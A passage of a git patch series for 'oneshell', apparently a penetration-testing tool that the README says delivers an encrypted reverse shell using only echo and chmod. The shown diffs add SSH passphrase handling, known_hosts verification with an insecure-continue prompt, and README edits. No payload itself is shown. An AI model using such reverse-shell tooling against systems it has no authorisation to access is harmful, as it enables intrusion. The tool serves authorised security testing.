@@ -134,10 +134,10 @@ func ConnectToSSHHost(host string, testPort uint16, bypassSanityCheck bool) (*ss
 	return client, nil
 }
 
-func testListenAllInterfaces(client *ssh.Client, hostname string, testPort uint16) error {
+func testListenAllInterfaces(client *ssh.Client, hostname string, listenAddress string, testPort uint16) error {
 	log.Println("Testing connection to SSH server to ensure SSH port forward works...")
 
-	l, err := client.Listen("tcp", fmt.Sprintf(":%v", testPort))
+	l, err := client.Listen("tcp", fmt.Sprintf("%v:%v", listenAddress, testPort))
 	if err != nil {
 		return fmt.Errorf("failed to start test listener: %v", err)
 	}

From 74e470e2f79695c53b4566b050b687922cb312c2 Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 30 Jul 2024 16:47:04 +1000
Subject: [PATCH 5/8] Updated command line docs and readme

---
 README.md  | 6 ++++--
 pkg/ssh.go | 2 +-
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 4329fc9..07adbee 100644
--- a/README.md
+++ b/README.md
@@ -2,6 +2,10 @@
 
 ![image](https://github.com/user-attachments/assets/4a390578-47cb-423a-87ca-ad681a46731c)
 
+# Blog
+
+For a detailed explanation of how the tool works, check out my blog on the topic [here](https://tantosec.com/blog/oneshell/).
+
 # Installation
 
 **Docker**
@@ -67,8 +71,6 @@ It turns out that there are a few ways to do this, mostly involving the `openssl
 
 "One Shell To Rule Them All", or `oneshell` for short, is a tool that can solve this problem. It does this by running an encrypted reverse shell using only the `echo` and `chmod` commands.
 
-To find out how it works, check out my blog on the topic [here](https://tantosec.com/blog/oneshell/).
-
 # Detailed requirements for a successful payload
 
 * Target can connect to your listener via TCP
diff --git a/pkg/ssh.go b/pkg/ssh.go
index 53f4ec7..71b48c9 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -154,7 +154,7 @@ func testListenAllInterfaces(client *ssh.Client, hostname string, listenAddress
 	c, err := net.Dial("tcp", fmt.Sprintf("%v:%v", hostname, testPort))
 	if err != nil {
 		fmt.Println()
-		fmt.Println("During a test connection to the SSH instance, it was found that the desired port was unreachable. The most likely fix for this is adding the following line to /etc/ssh/sshd_config:")
+		fmt.Println("During a test connection to the SSH instance, it was found that the desired port was unreachable. This could mean that sshd does not allow listening on all interfaces. To fix this, add the following line to /etc/ssh/sshd_config on the remote:")
 		fmt.Println()
 		fmt.Println("GatewayPorts clientspecified")
 		fmt.Println()

From 00aec90cfade1b5cd354ab9f47abeadeb83bdaa9 Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 6 Aug 2024 08:47:51 +1000
Subject: [PATCH 6/8] Allowing for password protected SSH keys

---
 go.mod     |  7 +++----
 go.sum     |  4 ++++
 pkg/ssh.go | 22 +++++++++++++++++++++-
 3 files changed, 28 insertions(+), 5 deletions(-)

diff --git a/go.mod b/go.mod
index 4b7a252..4e5c028 100644
--- a/go.mod
+++ b/go.mod
@@ -2,9 +2,7 @@ module github.com/tantosec/oneshell
 
 go 1.22.2
 
-require (
-	github.com/spf13/cobra v1.8.1
-)
+require github.com/spf13/cobra v1.8.1
 
 require (
 	github.com/inconshreveable/mousetrap v1.1.0 // indirect
@@ -15,5 +13,6 @@ require (
 	github.com/pion/transport/v2 v2.2.1 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	golang.org/x/crypto v0.8.0 // indirect
-	golang.org/x/sys v0.7.0 // indirect
+	golang.org/x/sys v0.22.0 // indirect
+	golang.org/x/term v0.22.0 // indirect
 )
diff --git a/go.sum b/go.sum
index 693429d..fe06d3b 100644
--- a/go.sum
+++ b/go.sum
@@ -55,10 +55,14 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc
 golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU=
 golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
+golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
 golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
 golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
 golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
+golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk=
+golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
diff --git a/pkg/ssh.go b/pkg/ssh.go
index 71b48c9..ec1ac41 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -6,14 +6,34 @@ import (
 	"net"
 	"os"
 	"path/filepath"
+	"syscall"
 
 	"github.com/kevinburke/ssh_config"
 	"github.com/mitchellh/go-homedir"
 	"golang.org/x/crypto/ssh"
+	"golang.org/x/term"
 )
 
 var knownIdentityFiles []string = []string{"id_rsa", "id_ecdsa", "id_ecdsa_sk", "id_ed25519", "id_ed25519_sk", "id_dsa"}
 
+func parseKey(privKey []byte) (ssh.Signer, error) {
+	signer, err := ssh.ParsePrivateKey(privKey)
+	if _, ok := err.(*ssh.PassphraseMissingError); ok {
+		fmt.Print("The SSH key is password protected. Please enter the password: ")
+
+		passwd, err := term.ReadPassword(int(syscall.Stdin))
+
+		fmt.Println()
+
+		if err != nil {
+			return nil, fmt.Errorf("failed to read password from stdin: %v", err)
+		}
+
+		return ssh.ParsePrivateKeyWithPassphrase(privKey, passwd)
+	}
+	return signer, err
+}
+
 func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypassSanityCheck bool) (*ssh.Client, error) {
 	homeDir, err := homedir.Dir()
 	if err != nil {
@@ -106,7 +126,7 @@ func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypass
 		return nil, fmt.Errorf("failed to read private key: %v", err)
 	}
 
-	signer, err := ssh.ParsePrivateKey(privKey)
+	signer, err := parseKey(privKey)
 	if err != nil {
 		return nil, fmt.Errorf("failed to parse private key: %v", err)
 	}

From 896fc198f2baabb9daf28a3ac779ff60b321ddd8 Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 6 Aug 2024 09:17:27 +1000
Subject: [PATCH 7/8] Properly testing host keys

---
 go.mod     |   2 +-
 go.sum     |   3 ++
 pkg/ssh.go | 139 ++++++++++++++++++++++++++++++++++++++---------------
 3 files changed, 103 insertions(+), 41 deletions(-)

diff --git a/go.mod b/go.mod
index 4e5c028..7be2a66 100644
--- a/go.mod
+++ b/go.mod
@@ -12,7 +12,7 @@ require (
 	github.com/pion/logging v0.2.2 // indirect
 	github.com/pion/transport/v2 v2.2.1 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
-	golang.org/x/crypto v0.8.0 // indirect
+	golang.org/x/crypto v0.25.0 // indirect
 	golang.org/x/sys v0.22.0 // indirect
 	golang.org/x/term v0.22.0 // indirect
 )
diff --git a/go.sum b/go.sum
index fe06d3b..a772ab7 100644
--- a/go.sum
+++ b/go.sum
@@ -36,6 +36,8 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk
 golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.8.0 h1:pd9TJtTueMTVQXzk8E2XESSMQDj/U7OUu0PqJqPXQjQ=
 golang.org/x/crypto v0.8.0/go.mod h1:mRqEX+O9/h5TFCrQhkgjo2yKi0yYA+9ecGkdQoHrywE=
+golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30=
+golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M=
 golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
 golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
 golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
@@ -44,6 +46,7 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug
 golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
 golang.org/x/net v0.9.0 h1:aWJ/m6xSmxWBx+V0XRHTlrYrPG56jKsLdTFmsSsCzOM=
 golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
+golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4=
 golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
diff --git a/pkg/ssh.go b/pkg/ssh.go
index ec1ac41..e9ffe77 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -1,16 +1,20 @@
 package pkg
 
 import (
+	"bufio"
 	"fmt"
 	"log"
 	"net"
 	"os"
+	"path"
 	"path/filepath"
+	"strings"
 	"syscall"
 
 	"github.com/kevinburke/ssh_config"
 	"github.com/mitchellh/go-homedir"
 	"golang.org/x/crypto/ssh"
+	"golang.org/x/crypto/ssh/knownhosts"
 	"golang.org/x/term"
 )
 
@@ -34,6 +38,95 @@ func parseKey(privKey []byte) (ssh.Signer, error) {
 	return signer, err
 }
 
+func testListenAllInterfaces(client *ssh.Client, hostname string, listenAddress string, testPort uint16) error {
+	log.Println("Testing connection to SSH server to ensure SSH port forward works...")
+
+	l, err := client.Listen("tcp", fmt.Sprintf("%v:%v", listenAddress, testPort))
+	if err != nil {
+		return fmt.Errorf("failed to start test listener: %v", err)
+	}
+
+	defer l.Close()
+
+	go func() {
+		c, err := l.Accept()
+		if err == nil {
+			c.Close()
+		}
+	}()
+
+	c, err := net.Dial("tcp", fmt.Sprintf("%v:%v", hostname, testPort))
+	if err != nil {
+		fmt.Println()
+		fmt.Println("During a test connection to the SSH instance, it was found that the desired port was unreachable. This could mean that sshd does not allow listening on all interfaces. To fix this, add the following line to /etc/ssh/sshd_config on the remote:")
+		fmt.Println()
+		fmt.Println("GatewayPorts clientspecified")
+		fmt.Println()
+		fmt.Println("This allows oneshell to listen on public interfaces on the remote machine.")
+		fmt.Println("If you know what you're doing and want to continue anyway, bypass this sanity check with --bypass-ssh-sanity-check")
+		fmt.Println()
+
+		return fmt.Errorf("failed to connect to ssh server: %v", err)
+	}
+
+	err = c.Close()
+	if err != nil {
+		return fmt.Errorf("error closing temporary connection: %v", err)
+	}
+
+	return nil
+}
+
+func askInsecureContinue() bool {
+	fmt.Print("Do you want to continue anyway (insecure)? (Y/n): ")
+	reader := bufio.NewReader(os.Stdin)
+	resp, err := reader.ReadString('\n')
+	if err != nil {
+		return false
+	}
+	resp = strings.ToLower(strings.TrimSpace(resp))
+
+	if resp == "y" || resp == "yes" {
+		log.Println("Continuing insecurely.")
+		return true
+	}
+
+	return false
+}
+
+func hostKeyCallback(homeDir string) (ssh.HostKeyCallback, error) {
+	hostKeyCallback, err := knownhosts.New(path.Join(homeDir, ".ssh", "known_hosts"))
+	if err != nil {
+		log.Printf("Failed to parse SSH known hosts file: %v", err)
+		fmt.Println()
+		fmt.Println("Oneshell failed to parse your ~/.ssh/known_hosts file. This means that it is not possible to validate the public key of the SSH server.")
+
+		if askInsecureContinue() {
+			return ssh.InsecureIgnoreHostKey(), nil
+		}
+
+		return nil, err
+	}
+	return (func(hostname string, remote net.Addr, key ssh.PublicKey) error {
+		checkRes := hostKeyCallback(hostname, remote, key)
+
+		if checkRes == nil {
+			return nil
+		}
+
+		log.Printf("Failed to verify authenticity of the remote server: %v", checkRes)
+		fmt.Println()
+		fmt.Println("The hostkey validation of the remote server failed. This could mean you haven't connected to the host yet, or that you could be getting man in the middled.")
+		fmt.Println("It is recommended to stop here and fix your ~/.ssh/known_hosts file using normal SSH tools, but you can also choose to continue anyway.")
+
+		if askInsecureContinue() {
+			return nil
+		}
+
+		return checkRes
+	}), nil
+}
+
 func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypassSanityCheck bool) (*ssh.Client, error) {
 	homeDir, err := homedir.Dir()
 	if err != nil {
@@ -131,12 +224,17 @@ func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypass
 		return nil, fmt.Errorf("failed to parse private key: %v", err)
 	}
 
+	hkc, err := hostKeyCallback(homeDir)
+	if err != nil {
+		return nil, fmt.Errorf("failed to parse host key: %v", err)
+	}
+
 	sshConfig := &ssh.ClientConfig{
 		User: user,
 		Auth: []ssh.AuthMethod{
 			ssh.PublicKeys(signer),
 		},
-		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
+		HostKeyCallback: hkc,
 	}
 
 	client, err := ssh.Dial("tcp", hostname+":"+port, sshConfig)
@@ -153,42 +251,3 @@ func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypass
 
 	return client, nil
 }
-
-func testListenAllInterfaces(client *ssh.Client, hostname string, listenAddress string, testPort uint16) error {
-	log.Println("Testing connection to SSH server to ensure SSH port forward works...")
-
-	l, err := client.Listen("tcp", fmt.Sprintf("%v:%v", listenAddress, testPort))
-	if err != nil {
-		return fmt.Errorf("failed to start test listener: %v", err)
-	}
-
-	defer l.Close()
-
-	go func() {
-		c, err := l.Accept()
-		if err == nil {
-			c.Close()
-		}
-	}()
-
-	c, err := net.Dial("tcp", fmt.Sprintf("%v:%v", hostname, testPort))
-	if err != nil {
-		fmt.Println()
-		fmt.Println("During a test connection to the SSH instance, it was found that the desired port was unreachable. This could mean that sshd does not allow listening on all interfaces. To fix this, add the following line to /etc/ssh/sshd_config on the remote:")
-		fmt.Println()
-		fmt.Println("GatewayPorts clientspecified")
-		fmt.Println()
-		fmt.Println("This allows oneshell to listen on public interfaces on the remote machine.")
-		fmt.Println("If you know what you're doing and want to continue anyway, bypass this sanity check with --bypass-ssh-sanity-check")
-		fmt.Println()
-
-		return fmt.Errorf("failed to connect to ssh server: %v", err)
-	}
-
-	err = c.Close()
-	if err != nil {
-		return fmt.Errorf("error closing temporary connection: %v", err)
-	}
-
-	return nil
-}

From 5dbe36100227c75b0f441261a5646b51eafdbc0a Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 6 Aug 2024 10:00:35 +1000
Subject: [PATCH 8/8] Minor edits to README

---
 README.md | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/README.md b/README.md
index 07adbee..3474a32 100644
--- a/README.md
+++ b/README.md
@@ -8,16 +8,6 @@ For a detailed explanation of how the tool works, check out my blog on the topic
 
 # Installation
 
-**Docker**
-
-Replace `oneshell` commands with the following:
-
-```bash
-docker run --rm -it -p 9001:9001 tantosec/oneshell
-```
-
-> Remember to update the value of the `-p` option to the port you are using.
-
 **Local install**
 
 ```bash
@@ -28,6 +18,16 @@ go install github.com/tantosec/oneshell@latest
 
 Download a binary from [the releases page.](https://github.com/tantosec/oneshell/releases)
 
+**Docker**
+
+Replace `oneshell` commands with the following:
+
+```bash
+docker run --rm -it -p 9001:9001 tantosec/oneshell
+```
+
+> Remember to update the value of the `-p` option to the port you are using.
+
 # Basic Usage
 
 If you want your payload to connect back to `localhost` on port `9001`, run the following command: